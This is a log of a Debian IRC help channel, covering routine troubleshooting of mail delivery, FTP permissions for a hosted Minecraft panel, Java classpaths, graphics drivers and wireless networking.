| 18:02.31 | publunch | Hello. Anyone understand email here? I've just installed debian 6.0.2.1 stable. When I type runq it lists several email messages which are stored on the system somewhere. These I believe have been got from my isp using fetchmail. Where exactly are these messages, and how do I get them to the normal mailbox, /var/mail/usersmailbox ? |
| 18:02.43 | publunch | Everything used to work just about ok. |
| 18:02.51 | publunch | prior to reinstallation. |
| 18:02.56 | ws2k3 | uhmm well the data that i send is totaly not convidencial so over a secure line has no benefit for me |
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| 18:03.06 | stew | ws2k3: i would also say that having your www-data user being able to modify files can be dangerous |
| 18:03.41 | ws2k3 | stew i do not wish that the www-data user be able to modify files... i wish i can modify files where he is owner of |
| 18:04.18 | stew | those statements seem to be contradictory |
| 18:04.47 | ws2k3 | well its not that i wish that www-data has right to modify files |
| 18:05.08 | ws2k3 | i wish that the files owner by www-data the user can modify when he connect to ftp |
| 18:05.15 | stew | those statements seem to be contradictory |
| 18:05.39 | stew | and yes, this sounds dangerous |
| 18:05.41 | twobitsprite | stew: I think he's saying he wants people to be able to log in as the www-data user over ftp |
| 18:05.50 | stew | yes, he does |
| 18:05.53 | twobitsprite | ws2k3: why do users need to be able to log in as www-data? |
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| 18:06.35 | ws2k3 | like i sad. i have a little control panel on my apache2 so that they can start and stop some services running on the debian machine |
| 18:06.55 | twobitsprite | ws2k3: what does that have to do with loggin in to ftp as www-data? |
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| 18:07.16 | ws2k3 | the data of that service there allowd to start and stop need to be editable via ftp |
| 18:07.31 | ws2k3 | so that they can stop the service |
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| 18:07.33 | ^slacker^ | ws2k3: dunno if you are interested, but a buddy of mine had to setup a secure ftp/web interface to pick up files and whatnot and he used www.crushftp.com to get it done |
| 18:07.35 | blubberdiblub | ws2k3, but they don't do that over ftp. just give the files you want to have your ftp users be able to read world reading permission. then "nobody" can read them as well |
| 18:07.36 | ws2k3 | add or remove files |
| 18:07.46 | ^slacker^ | ws2k3: it's not free but they have a linux port that might work for ya |
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| 18:08.35 | stew | ^slacker^: why would someone use this instead of free software from debian? |
| 18:08.38 | ^slacker^ | ws2k3: what sold it for him was a brandable web interface that utilized secure ftp |
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| 18:08.47 | ^slacker^ | stew: ^ that |
| 18:08.56 | stew | gross |
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| 18:09.29 | ^slacker^ | stew: eh it works when you have more money than patience |
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| 18:11.10 | klapaucjusz | ws2k3: if I were you, I'd forget about ftp. |
| 18:11.25 | klapaucjusz | Train your users to use ssh/sftp instead, and give them a real account on your machine. |
| 18:11.38 | simonlnu | !ftp must die |
| 18:11.38 | dpkg | FTP MUST DIE! http://mywiki.wooledge.org/FtpMustDie . If you really just want to provide anonymous download of files, use HTTP: http://daniel.haxx.se/docs/ftp-vs-http.html |
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| 18:11.45 | tobin | Can someone tell me if there is a way within the control file to specify a depends based upon the distro version. IE if its lenny install 1.0; squeeze install 2.0 ? |
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| 18:12.05 | tobin | I can't seem to find this in the dev handbook. |
| 18:12.08 | simonlnu | tobin: tmk no |
| 18:12.12 | stew | tobin: there is not |
| 18:12.14 | subuser | lots of places say ftp's the most difficult protocol to secure around |
| 18:12.21 | tobin | bummer. okay thx |
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| 18:13.08 | stew | ws2k3: in your scenario, everyone uses the www-data credentials, so everyone gets to edit/delete anyone elses data? |
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| 18:14.21 | Mixxit | hey does anyone know where the libraries are for com/sun/tools/attach/VirtualMachine |
| 18:14.29 | Mixxit | i have sun-java6-jre, jdk and bin installed |
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| 18:15.11 | ws2k3 | stew hmm i understand |
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| 18:15.48 | localtoast | I'm trying to get a USB WiFI adapter working properly |
| 18:16.03 | localtoast | It's a DWL-122 based on Prism 3 firmware, but uses the prism2_usb module |
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| 18:16.34 | localtoast | However, when the module is loaded and the device is plugged in, it refuses to use the device. |
| 18:17.16 | localtoast | I even installed firmware, if it helps |
| 18:17.27 | ws2k3 | it needs to be like this. i use virtual users for my vsftpd server. i have a small control panel that start or stops services. if a service is started by the control panel then the owner is www-data. in the same directory as where the service runs. some data is created byt the running service. because the owner of the proces is www-data and vsftpd is runned as nobody the user cannot modify the |
| 18:17.27 | ws2k3 | data that is generated by the running service because they are not owner of it. |
| 18:17.35 | stew | Mixxit: i usuall do something like "find /usr/lib/jvm/java-6-sun/ -name \*jar | while read a ; do unzip -l $a | grep com/sun/tools/attach/VirtualMachine && echo its in this jar ^^^^^ $a ; done" |
| 18:18.24 | stew | ws2k3: are these users real system users? |
| 18:18.25 | klapaucjusz | ws2k3: you're doing it wrong. |
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| 18:18.32 | Mixxit | its like its missing |
| 18:18.33 | klapaucjusz | Remove the FTP server. |
| 18:18.42 | klapaucjusz | Give your users normal accounts. |
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| 18:18.59 | ws2k3 | no it are virtual users |
| 18:19.02 | ws2k3 | not real users |
| 18:19.17 | ws2k3 | klapaucjussz i wish to keep the ftp server |
| 18:19.19 | klapaucjusz | Imaginary friends? |
| 18:19.29 | localtoast | if it ghelps, I'm using 2.6.38 from backports |
| 18:19.32 | Mixxit | stew: /usr/lib/jvm/java-6-sun/lib/tools.jar :-) thanks! |
| 18:19.56 | klapaucjusz | ws2k3: do you want to keep the ftp server, or do you want to have a secure system? |
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| 18:20.05 | M0wLaue | http://tiny.cc/zklti |
| 18:20.12 | localtoast | for the love of god |
| 18:20.16 | localtoast | use SFTP or SCP |
| 18:20.17 | lamah | how can I play youtube clips with audio in iceweasel 5 ? |
| 18:20.23 | lamah | sftp |
| 18:20.28 | localtoast | I only use FTP because I'm behind a firewalled LAN |
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| 18:20.52 | ws2k3 | hmm for how i wish to use ftp server setup as secure as possible. |
| 18:21.41 | klapaucjusz | Sorry, but I'm afraid you're on your own. The craft of securing an FTP server has died sometime in the early neolithic. |
| 18:21.52 | localtoast | ws2k3, secure FTP server? |
| 18:21.56 | localtoast | no such thing exists |
| 18:21.59 | subuser | you can configure the free swf player to handle youtube stream's but it requires alot of work and may not work |
| 18:22.01 | localtoast | you should use SFTP |
| 18:22.10 | localtoast | FTP is deader than a doornail |
| 18:22.15 | localtoast | it must die |
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| 18:22.17 | klapaucjusz | localtoast: you wish. |
| 18:22.24 | lamah | ftp is ok but secure is secure:) |
| 18:22.27 | ws2k3 | :P not that what i'm trying to say i was trying to say as secure as possible |
| 18:22.31 | subuser | if you only use it for youtube it might be safe to use the adobe plugin which i did, you have to then make that plugin handle the youtube links with your firefox settings |
| 18:22.42 | epsilon | ich have proftpd with tls running, works fine |
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| 18:22.53 | subuser | it is insecure stuff though, there's like 10 exploits every 2 days on some vulnerability sites for flash |
| 18:23.15 | stew | his security problems are far greater that just what goes over the wire, he said security over the wire is not important |
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| 18:23.23 | stew | but he has lots of problems with his model on the server itself |
| 18:23.45 | publunch | How do I get mail out of /var/spool/exim4/input and into my ordinary mailbox? |
| 18:24.57 | ws2k3 | stew i use vsftpd with virtual users i chroot them into the directory they allowd to modify |
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| 18:25.34 | ws2k3 | so if apache2 and www is runned by the same user then users still cannot edit information of other people. because they got chroot into the directory they allowd to |
| 18:25.38 | blubberdiblub | publunch, by configuring exim correctly so it is actually able to deliver the mail. have you checked that the config is okay? are mail aliases set up correctly if needed? does exim accept the mail for the destination that's in the mails? |
| 18:25.38 | stew | ws2k3: and since everybody is the same user, everybody can modify everyone elses stuff |
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| 18:26.19 | ws2k3 | and if u make a group? |
| 18:26.23 | xand | ws2k3: what about when they sniff each others' passwords due to lack of encryption? |
| 18:26.28 | subuser | if i was setting up a ftp server, i'd probably research things like SELinux and pam settings with relevant iptable's settings and possibly snort |
| 18:26.39 | subuser | then make things as tight as possible |
| 18:26.52 | ws2k3 | xand then they got bad luck |
| 18:26.57 | xand | if you wanted security, you wouldn't be using FTP |
| 18:27.03 | ws2k3 | xand is it totaly no secure data |
| 18:27.05 | publunch | Thanks, blubberdiblub, I'll check those things. |
| 18:27.07 | stew | xand: they all use the same password |
| 18:27.14 | ws2k3 | so if it got stoled to bad.. |
| 18:27.14 | subuser | well, some site's manage to be secure even with ftp, like openbsd's archives |
| 18:27.17 | stew | xand: he wants everyone to be the same user |
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| 18:27.35 | xand | backs slowly away |
| 18:27.37 | blubberdiblub | publunch, also, exim's log files might provide some valuable insights as to why it doesn't deliver the mails |
| 18:27.49 | xand | subuser: because FTP is for readonly |
| 18:27.52 | ws2k3 | stew what i sad like makeing a group with www-data and nobody |
| 18:28.10 | ws2k3 | so that nobody can modify data of www-data? |
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| 18:28.44 | ws2k3 | i'm realy feeling stupid right now. everybody says i'm a fool:( |
| 18:29.00 | stew | ws2k3: letting the nobody user do ANYTHING that requires privileges defeats the purpose of a nobody grup |
| 18:29.04 | zykotick9 | I asked last week if you could specify an apt-cacher-ng address during the Proxy question of the netinstall. I was told NO that's an HTTP proxy, well it turns out the answer is YES. My question becomes, where is that http proxy setting saved? As it applies post-install as well (which doesn't seem to be causing any web browsing issues, but I'd prefer to remove the setting, or at least know where it is) |
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| 18:29.32 | stew | ws2k3: so letting the nobody group do stuff like delete files created by ____ or start/stop services started by ____ means you break the usefulness of having a "nobody" user |
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| 18:30.04 | localtoast | anyways, can we talk about my question? I'm using the 2.6.38-bpo kernel in squeeze. I'm trying to get a Prism 3 based D-Link DWL-122 based wireless USB chipset working, using the prism2_usb module. |
| 18:30.18 | localtoast | The module is loaded, the light on the device is on, and lsusb can see it |
| 18:30.18 | ws2k3 | stew maby i should make a ftp user then |
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| 18:30.29 | localtoast | but there is no wlan0 interface and wicd doesn't see my network |
| 18:30.30 | stew | ws2k3: i'd be very weary of having www-data be able to do much of anything, especially stuff like starting services. it makes any webserver breach get access to these process/files |
| 18:30.43 | ws2k3 | and that the ftp user is allowd to modify data of www-data and run vsftpd as the ftp user? |
| 18:31.01 | Mixxit | hmm i added that to my path stew but it still cant find hte class com/sun/tools/attach/VirtualMachine |
| 18:31.21 | ws2k3 | stew how should i setup it otherwise? |
| 18:31.25 | stew | ws2k3: its also extra dangerous if you can somehow have www-data be able to write files which then might later get interpreted as scripts such as php code, because then any web server breach effectively gets them local user access |
| 18:31.43 | amoe | Does pulseaudio have a command line mixer, like alsamixer? |
| 18:31.44 | stew | Mixxit: added to your path how? and what exactly are you tyring to do? |
| 18:32.09 | ws2k3 | stew how should i setup it otherwise? |
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| 18:32.44 | ws2k3 | u need to see it like this i host some stuff for friends of mine |
| 18:32.47 | Mixxit | stew: i added with PATH=, JDK_HOME=, JRE_HOME= and JAVA_HOME= then tried to execute the tool that gives me a breakdown of highest cpu java threads in a process |
| 18:33.06 | ws2k3 | i wish to have them access to a web interface and they can start/stop there service there |
| 18:33.08 | epsilon | ws2k3: what's your actual goal? What services are we talking about? |
| 18:33.25 | ws2k3 | if i tell u ur are laughing at me :D |
| 18:33.27 | ws2k3 | minecraft |
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| 18:33.35 | epsilon | so in userspace? |
| 18:33.47 | ws2k3 | hmm i dont understand what u mean with that |
| 18:33.53 | stew | Mixxit: CLASSPATH is where it would typically be looking, not any of the other places |
| 18:34.00 | Mixxit | aha! |
| 18:34.14 | Mixxit | doesn't even exist atm :-) |
| 18:34.15 | epsilon | mean, it run as a user and not as privilegded user below UID 1000 |
| 18:34.35 | stew | Mixxit: what is the command you run? it could also be specified on the command line with -cp or -classpath |
| 18:34.40 | Mixxit | hmm i tried that strangely |
| 18:34.45 | ws2k3 | epsilon yeah something like that |
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| 18:35.04 | stew | Mixxit: show the actual command you run and the actual output ; use a pastebin |
| 18:35.09 | ws2k3 | i wish that they have a web interface they can start/stop there minecraft server |
| 18:35.10 | dacu | I run squeeze and I got a GRUB error - unknown file system - and got grub resecue>_ what should I do ? |
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| 18:35.18 | ws2k3 | and that they can modify files true ftp |
| 18:35.20 | epsilon | ws2k3: n this case hack something together, I see no danger as long the command be executed is sucure |
| 18:35.35 | stew | hah |
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| 18:35.44 | twobitsprite | ws2k3: lol... the whole time this sounded like a minecraft server to me :P |
| 18:35.51 | twobitsprite | I should have called it :) |
| 18:35.57 | ws2k3 | hahaha:p |
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| 18:36.01 | Mixxit | stew: http://pastebin.com/1uBQczbZ |
| 18:36.14 | stew | ws2k3: give the users a user account. have their servers start as their user. let them ftp in as their user so they can only modify their own files |
| 18:36.15 | ws2k3 | epsilon the commadn executed is not realy secure |
| 18:36.21 | stew | wtf is a minecraft server? |
| 18:36.26 | ws2k3 | i just run it as www-data |
| 18:36.29 | ws2k3 | its a game server |
| 18:36.32 | epsilon | some game I guess |
| 18:36.35 | ws2k3 | like call of duty games server |
| 18:36.36 | twobitsprite | stew: it's a game |
| 18:36.37 | ws2k3 | yeah |
| 18:36.44 | stew | ah, I should have figured |
| 18:36.44 | ws2k3 | u dont know minecraft? BAD |
| 18:36.56 | ws2k3 | its digital lego lets keep it to that:) |
| 18:37.19 | stew | Mixxit: /usr/lib/jvm/java-6-sun/lib/tools.jar not just /usr/lib/jvm/java-6-sun/lib |
| 18:37.26 | jelly | ws2k3: it's not in Debian! |
| 18:37.39 | twobitsprite | jelly: well... ftp and apache2 are... |
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| 18:37.51 | ws2k3 | jelly haha i know. |
| 18:37.53 | ws2k3 | http://mancave.conrad.nl/wp-content/uploads/minecraft.jpg |
| 18:37.53 | twobitsprite | vsftpd, rather |
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| 18:38.23 | ws2k3 | and this project was for me the idea lets learn more about premissions inside debian and the filesystem with users etc |
| 18:38.36 | Mixxit | stew: http://pastebin.com/yqvt8345 |
| 18:38.57 | blubberdiblub | ws2k3, you don't necessarily need a special way to start/stop the minecraft servers. they can be stopped with commands from within minecraft itself. and for starting you can set up something that restarts them automatically |
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| 18:39.59 | jelly | since it's java, it could probably be managed with the Java Service Wrapper thingy |
| 18:40.01 | ws2k3 | blubberdiblub i know. but there are alot of game service proviers that use a control panel. so how do they do it? |
| 18:40.19 | ws2k3 | i dont wish to remove the cp because i cant do it |
| 18:40.37 | jelly | ,versions service-wrapper |
| 18:40.37 | judd | Package service-wrapper on i386 -- experimental: 3.5.3-2 |
| 18:40.54 | blubberdiblub | ws2k3, well, i have never looked into how others do it. automatically restarting is just how i would do it |
| 18:41.16 | ws2k3 | hmm yeah i understand. |
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| 18:41.20 | blubberdiblub | ws2k3, it's only an idea to think about, nothing else |
| 18:41.31 | Thom- | when a traceroute returns multiple IPs on 1 hop, what does that mean? |
| 18:41.32 | ws2k3 | yeah i understand thanks for the idea |
| 18:41.38 | ws2k3 | but i wish to keep the control panel |
| 18:41.40 | Thom- | 10 s-hdn-i3-link.telia.net (80.91.249.69) 40.288 ms s-hdn-i3-link.telia.net (80.91.247.33) 44.685 ms s-hdn-i3-link.telia.net (80.91.251.245) 37.959 ms < like this < as such |
| 18:41.50 | ws2k3 | at the same time i wish to learn how to setup it properly |
| 18:41.52 | twobitsprite | ws2k3: run minecraft as a minecraft system user, and give each of your friends an ssh login and the sudo priv of something like "%mcusers ALL=(minecraft) invoke-rc.d minecraft *" |
| 18:41.58 | stew | Thom-: that there is more than one way to reach the destination |
| 18:42.04 | stew | Mixxit: hmm, odd, it seems like that should have worked |
| 18:42.21 | twobitsprite | ws2k3: that way they can stop/start/etc the server from ssh |
| 18:42.23 | Thom- | stew ic.. the first one listed is the one picked? never seen this.. native to windows |
| 18:43.03 | stew | Thom-: the first one listed is the first one you saw. at that particular instance, the hop before decided to pick that one |
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| 18:43.18 | Thom- | ok thanks |
| 18:43.32 | stew | Thom-: this has nothing to do with YOUR os, this has to do with whatever the hop before was having multiple links |
| 18:43.38 | ws2k3 | twobitsprite ssh ist default in php |
| 18:43.39 | twobitsprite | ws2k3: then put all your friends in the mcusers group |
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| 18:44.03 | ws2k3 | besides my friends are to retarted to understand what ssh works |
| 18:44.18 | Thom- | stew yeah i understand, i just didnt know what it meant - windows wont tell you anything else but the one that was picked |
| 18:44.22 | twobitsprite | ws2k3: that doesn't make any sense... what do you mean "ssh is default in php"? php is a scriping language for manipulating html documents, and ssh is a remote shell protocol |
| 18:44.30 | Black_Prince | 'Ask the DSA Team' meeting at 19:00 UTC in #debian-meeting on irc.oftc.net (17 minutes from now) |
| 18:44.33 | Mixxit | stew: ok well thanks for trying appreciate it |
| 18:44.57 | stew | Mixxit: you can also try -classpath or "CLASSPATH=/usr/lib/jvm/java-6-sun/lib/tools.jar java -jar..." |
| 18:45.03 | lamah | how can I play youtube clips with audio in iceweasel 5 ? |
| 18:45.03 | blubberdiblub | twobitsprite, ws2k3, i think the idea with the "one separate user for each minecraft server" is better in that case, because minecraft installations can become pretty customized and can differ substantially. they don't share a lot of files |
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| 18:45.10 | duo_ | hello |
| 18:45.21 | twobitsprite | blubberdiblub: I thought it was one mc server, multiple users? |
| 18:45.23 | duo_ | i have just installed debian6 on my lenovo laptop |
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| 18:45.47 | devil | duo_: good move :) |
| 18:45.51 | duo_ | i have mobility radeon HD 4500 series |
| 18:45.56 | duo_ | i have installed ati drivers |
| 18:45.56 | twobitsprite | blubberdiblub: if it's just one user per mc server, might as well play single player on your local machine |
| 18:45.57 | blubberdiblub | twobitsprite, um, well, maybe, then i have misunderstood it. i thought he hosted several minecraft servers for several minecraft admins or so |
| 18:46.10 | devil | duo_: you mean fglrx? |
| 18:46.13 | duo_ | yes |
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| 18:46.25 | duo_ | but performance is still very low |
| 18:46.30 | devil | duo_: from debian repo or from ATI? |
| 18:46.33 | duo_ | i am using fluxbox |
| 18:46.38 | duo_ | from ATI |
| 18:46.54 | devil | duo_: well, not such a good plan, cant support that at all |
| 18:47.02 | duo_ | i must wait couple of seconds after draging a window, before it slides into place :/ |
| 18:47.20 | duo_ | so you say i should install fglrx from repo? |
| 18:47.20 | ws2k3 | twobitsprite there are multi users with multi mc servers |
| 18:47.30 | devil | duo_: what does: glxinfo | grep direct give? |
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| 18:47.59 | twobitsprite | ws2k3: ok, then make a minecraft1, minecraft2, etc user for each server, and give the admins for those servers the sudo priv to start/stop them |
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| 18:48.18 | duo_ | devil: nothing, it throws some X Error of failed request error :/ |
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| 18:48.42 | karlpinc_ | duo_: As a rule you want to get all your software from your linux distro, because we make sure it works with everything else. |
| 18:48.47 | karlpinc_ | !tell duo_ about overview |
| 18:48.47 | duo_ | before when i was using ati driver i was saying YES, but performance was identical as now |
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| 18:48.50 | devil | duo_: so your driver does not work. i recommend to remove the ATI stuff and follow http://wiki.debian.org/ATIProprietary |
| 18:49.09 | duo_ | ok, i will do that |
| 18:49.11 | duo_ | thanks |
| 18:49.27 | devil | duo_: ifr that has probs, we can at least try to solve |
| 18:49.55 | ws2k3 | twobitsprite like i sad they are to retarted to use ssh. that why i wanne make a simple control panel for them |
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| 18:50.19 | ws2k3 | twobitsprite so tat they can login into the control panel and click stop/start |
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| 18:53.05 | Mixxit | stew: no dice - i will try jconsole i just didnt have x on this box |
| 18:53.12 | ws2k3 | i know what i'm trying to do its not easy |
| 18:53.17 | skrite | hey all, i have a fresh install and want to install xfce4 but do not want to install a display manager ( would just rather start from xinit or startxfce4) what do i need to install to get xorg server and xfce4 this way? |
| 18:53.21 | Mixxit | whats that tiny dm called again |
| 18:53.33 | GreenDance | Hi |
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| 18:54.23 | GreenDance | There's a OS that when installs on a server turns the server into a virtual machine or virtualization, does anyone remember the name of the OS please? |
| 18:54.34 | navysealltblue | fresh install of squeeze on a headless server, minimal install, installed and configured xen, then I apt-get installed virt-tools. I am ssh'ed in with x11 forwarding enabled and am getting gtk warnings about being unable to open the display when i try to run virt-manager. Anyone have any suggestions? (pastebin is of the specific error message) http://pastebin.com/mR8XjbW7 |
| 18:55.11 | ws2k3 | greendance do u mean esx/esxi from vmwarE? |
| 18:56.01 | GreenDance | ws2k3: yes, thank you |
| 18:56.14 | jhutchins_lt | GreenDance: There are many different possibilities depending on your hardware. |
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| 18:57.10 | duo_ | hm, strange thing, i have removed ati drivers, and returned to ati driver, started xorg, and performance is better that before even that i was using the same driver then :P but glxgears still shows about 500-600 fps, so im trying to install those fglrx drivers from repo |
| 18:57.14 | ws2k3 | greendance i worked with Esxi alot so if u have any more questions or problems u know where to find me |
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| 18:57.30 | GreenDance | ws2k3: thank you :) |
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| 18:57.56 | duo_ | uh, i meant, i removed drivers from ati and returned to this default "ati" driver |
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| 18:58.34 | wols | duo_: glxgears is NOT a benchmark and its number has no meaning at all |
| 18:58.54 | ws2k3 | is there any kind of grid software for debian? |
| 18:58.54 | devil | duo_: radeon? |
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| 18:59.31 | duo_ | ah, yes, radeon |
| 18:59.50 | duo_ | hm, then i think i'll live it the way it is |
| 19:00.10 | duo_ | i dont plan to play games on this machine anyway |
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| 19:00.40 | netrix01 | @ws2k3 maybe gridengine |
| 19:00.50 | devil | duo_: you *could* install firmware-linux-nonfree to spike it up a bit. |
| 19:01.05 | klapaucjusz | ws2k3: the grid is obsolete. The currently fashionable buzzword is cloud. |
| 19:01.15 | klapaucjusz | is going to write a book called « computing in the mist ». |
| 19:01.15 | netrix01 | lulz |
| 19:01.26 | ws2k3 | klapaucjusz lol |
| 19:01.34 | devil | duo_: and 'yay' to stayintg with radeon, you just saved yourself from a lot of grief |
| 19:01.35 | netrix01 | it's still a cluster to me |
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| 19:01.56 | wols | ws2k3: and both terms are utterly meaningless drivel with no substance. you need to define your needs alot better. unless you want to impress VCs. then your terminology is alright |
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| 19:02.35 | ws2k3 | wols i fully understand what u mean :) |
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| 19:03.22 | ws2k3 | but i'm still fighting with my debian premisions issue |
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| 19:04.00 | skrite | what is the easiest method to install nvidia drivers if i am using the liquorix kernel? |
| 19:04.09 | leonardo_ | Hi people, I tried to run a program and this doesn't start. Someone told me to run a command and said the problem is on the command result: leonardo@debian:~$ ip addr ls lo |
| 19:04.09 | leonardo_ | 1: lo: <LOOPBACK> mtu 16436 qdisc noop state DOWN |
| 19:04.09 | leonardo_ | <PROTECTED> |
| 19:04.15 | wols | !liquorix |
| 19:04.15 | dpkg | Zen is :)(:, or a school of Mahayana Buddhism, or the Zen kernel: a variant of the Linux kernel optimized for desktop systems, including code not present in mainline. Liquorix kernel image packages (http://liquorix.net/) are Zen-based and are not supported in #debian. http://zen-kernel.org/about http://zen-kernel.org/faq-folder/what_is_zen #zen-sources on irc.rizon.net. Not to be confused with <Xen>. |
| 19:04.17 | duo_ | ok, thanks for help people ;] |
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| 19:04.40 | leonardo_ | The person said me to reinstall debian, bit I don't want. Anyone know how to fix it? |
| 19:04.41 | DrMrHorse | a while back, my squeeze install started taking me to the gdm logon screen when i restarted from gnome. reboots find from command line. used to work fine until a couple of weeks ago. any ideas? |
| 19:04.59 | wols | leonardo_: show us the content of /etc/network/interfaces |
| 19:05.16 | leonardo_ | wols: one minute |
| 19:05.26 | stew | leonardo_: please use a pastebin |
| 19:05.34 | leonardo_ | ok |
| 19:05.34 | jhutchins_lt | DrMrHorse: What behavior were you expecting? |
| 19:05.36 | stew | leonardo_: there was not an "inet" line that followed "link"? |
| 19:06.08 | DrMrHorse | jhutchins_lt: i am expecting my system to reboot when i select restart from the gnome menu and applet |
| 19:06.40 | wols | DrMrHorse: dpkg -l libc6 | tail -1 |
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| 19:07.04 | DrMrHorse | wols: ii libc6 2.11.2-10 |
| 19:07.07 | leonardo_ | wols: interface file has no information |
| 19:07.14 | babilen | FYI: "Ask the DSA Team" session in #debian-meeting (questions in #dw-question) (irc.debian.org) |
| 19:07.21 | leonardo_ | wols:blank |
| 19:07.33 | ws2k3 | stew can u maby give it one more try to help me to solve this issue? |
| 19:08.13 | leonardo_ | stew: didn't understand: there was not an "inet" line that followed "link"? |
| 19:08.22 | wols | DrMrHorse: most times this error is a wheezy problem, not a squeeze one |
| 19:08.30 | DrMrHorse | hmm |
| 19:08.42 | oscurochu | which is newer? queeze or wheezy? |
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| 19:09.02 | jhutchins_lt | DrMrHorse: So it just logs you out, doesn't reboot? |
| 19:09.09 | DrMrHorse | jhutchins_lt: yes |
| 19:09.15 | stew | oscurochu: wheezy. squeeze was released in february this year, wheezy will be the next release |
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| 19:09.25 | oscurochu | thanks stew |
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| 19:09.30 | wols | leonardo_: put http://paste.debian.net/123539/ in your interfaces file and run ifup -a |
| 19:09.41 | jhutchins_lt | oscurochu: wheezy is still in testing and has not been officially released. |
| 19:09.41 | leonardo_ | wols: ok |
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| 19:09.56 | stew | leonardo_: its ok, an empty interfaces file answers my question :) |
| 19:10.20 | lamah | hm I am using gnash should be by default to be avail. to play sound |
| 19:10.23 | lamah | sound is marked |
| 19:10.31 | lamah | sound in sys is a ok |
| 19:10.45 | stew | leonardo_: after you do what wols suggests and run the "ip addr" command again you'll see that after the "link" line there is now an "inet" line with the 127.0.0.1 address |
| 19:10.46 | lamah | for web clips in iceweasel.. |
| 19:11.20 | stew | lamah: you are seeing video, just not audio? |
| 19:11.31 | lamah | stew: ye :) |
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| 19:11.43 | stew | lamah: audio works from other applications? |
| 19:11.45 | leonardo_ | wols: did what you said |
| 19:11.53 | lamah | stew: yes from all other apps, only fro gnash |
| 19:12.24 | dekozo | Hi, i'm having a problem with my wireless network. I can find several other networks but mine (on windows i can find it, then the router is working properly) |
| 19:12.25 | wols | leonardo_: now your "lo" interface should be up and you have less problems running various network using programs |
| 19:12.42 | leonardo_ | stew: here: http://paste.debian.net/123540/ |
| 19:12.46 | wols | dekozo: what channel does your AP use? |
| 19:12.54 | leonardo_ | wols: will try to load the program with problems |
| 19:13.01 | dekozo | is there a way to check this on windows? let me google, wait a sec please |
| 19:13.24 | wols | dekozo: inssider shows it. google the name |
| 19:13.52 | dekozo | thanks |
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| 19:16.40 | Chat1392 | هاي |
| 19:16.50 | DrMrHorse | are we at a loss gentlemen? |
| 19:18.13 | dekozo | channel 13, wols |
| 19:18.45 | wols | dekozo: that could be it. not all countries allow channel 12 and for some reason or other your linux thinks it's in such a country |
| 19:18.53 | wols | *channel 13 |
| 19:18.59 | dekozo | ahm |
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| 19:19.25 | dekozo | i cant really change the channel on the router, then can i manually change my wireless card to use another channel, right? |
| 19:19.54 | krakrjak | so what's the deal with the HURD stuff? It seems the kFreeBSD port is going well do we really think HURD will get there in time for wheezy? I mean we're about to see kfreebsd-mipsel (hinted on the mailing list) |
| 19:20.20 | duo_ | anyone tried to install android sdk and eclipse under debian? |
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| 19:20.52 | wols | dekozo: can you write that again and explain it a bit so I can understand what you mean? |
| 19:21.02 | wols | !tell duo_ about anyone |
| 19:21.39 | dekozo | nvm :D i should change my wireless card channel, right? |
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| 19:21.57 | wols | changing it on the card will do nothing |
| 19:22.58 | dekozo | ahm, what should i do? |
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| 19:23.52 | wols | either check google if you can enable channel 13 with your specific wlan chip or change the channel on your AP |
| 19:24.09 | jhutchins_lt | dekozo: What methods have you tried to "see" the network in linux? |
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| 19:24.25 | dekozo | jhutchins_lt: iwlist wlan0 scan |
| 19:24.30 | dekozo | (and the gnome applet, hehe) |
| 19:24.53 | dekozo | i tried stoping network-manager service |
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| 19:24.58 | stew | krakrjak: nobody really knows if hurd will make it, its really going to be a matter of wait and see where they are around release time |
| 19:25.01 | jhutchins_lt | Wha about kismet? |
| 19:25.03 | dekozo | and starting it again, but didnt work |
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| 19:26.07 | jhutchins_lt | dekozo: What hardware is it? |
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| 19:26.15 | dekozo | bcm4313 |
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| 19:26.58 | dekozo | which i enabled with jhutchins_lt b43-fwcutter |
| 19:26.59 | jhutchins_lt | !bcm4313 |
| 19:26.59 | dpkg | The Broadcom BCM4313 (PCI ID 14e4:4727, incorrectly identified as BCM4727 by wlc_hybrid) is an 802.11n PCIe wireless LAN chipset, not supported by the <b43> driver. For support on Debian systems, ask me about <brcm80211>, <wl>. |
| 19:27.01 | dekozo | opz, sorry |
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| 19:27.35 | dekozo | the thing is, it sees other networks |
| 19:27.48 | dekozo | and it used to see mine as well, but all of a sudden it doesnt see anymore |
| 19:27.50 | GreenDance | does anyone know about bash script with user options |
| 19:28.19 | jhutchins_lt | GreenDance: Hey, how do I use this computer? |
| 19:29.03 | devil | heh |
| 19:29.17 | jelly-home | jhutchins_lt: how do I use irc?!?!? |
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| 19:30.05 | jhutchins_lt | jelly-home: You type in overly general questions and hope someone feels like pulling teeth to get the details of what you're trying to do. |
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| 19:30.39 | jelly-home | jhutchins_lt: Im trying to use irc |
| 19:30.55 | wols | jelly-home: good news. you are succeeding! |
| 19:31.09 | jelly-home | woohoo |
| 19:31.35 | oscurochu | where is an example xorg.conf file? |
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| 19:31.45 | wols | oscurochu: what for? |
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| 19:31.55 | oscurochu | i want to add a monitor section to my xorg.conf |
| 19:32.38 | wols | you can try X -configure (as root) and then pick what you need. I hope that one still works... |
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| 19:33.49 | oscurochu | it doesnt generate a monitor section |
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| 19:34.22 | blubberdiblub | oscurochu, i find the manpage for xorg.conf quite helpful for things like that. it thoroughly explains the monitor section |
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| 19:34.40 | oscurochu | wouldnt i need to tell some other section of the file to use that monitor? |
| 19:35.19 | blubberdiblub | oscurochu, yes. but i don't remember which one by heart. the manpage should say something to that respect as well |
| 19:35.27 | oscurochu | k ill look |
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| 19:38.32 | krakrjak | stew: that's what I thought. I'm curious, but I'm putting my efforts in the established port. |
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| 19:41.19 | wols | oscurochu: since I am not in the position to have to monitors, I might be wrong, but:don't you just need to connect both monitors and then use xrandr to set them up as you want them? |
| 19:41.26 | wols | *two monitors |
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| 19:41.58 | skrite | hey all, anyone know a good source for wine 1.3? |
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| 19:42.54 | dekozo | http://www.youtube.com/watch?v=1yI3DsXmnNg |
| 19:43.14 | Iridos | wols, very broadly yes... the gnome-frontend thingy to gnome can do it, too and you need a virtual desktop big enough to have both monitors fit into |
| 19:43.38 | jelly-home | skrite: winehq.com ? |
| 19:43.42 | Iridos | and I'm not sure at all what you have to do if you connect two monitors to two different graphics cards that use different drivers |
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| 19:44.14 | jelly-home | Iridos: "give up" |
| 19:44.16 | skrite | jelly-home: yes, i found apt sources there for stable and sid, but not for testing. |
| 19:44.33 | Iridos | jelly-home, that could only be a last step |
| 19:44.35 | jelly-home | skrite: backport it |
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| 19:45.07 | wols | skrite: then use either one which works in testing? shouldn't be a big problem at all |
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| 19:45.11 | sephii | I did a d-u recently and my kde device notifier widget stopped working (it doesn't see any plugged device although it appears in dmesg) |
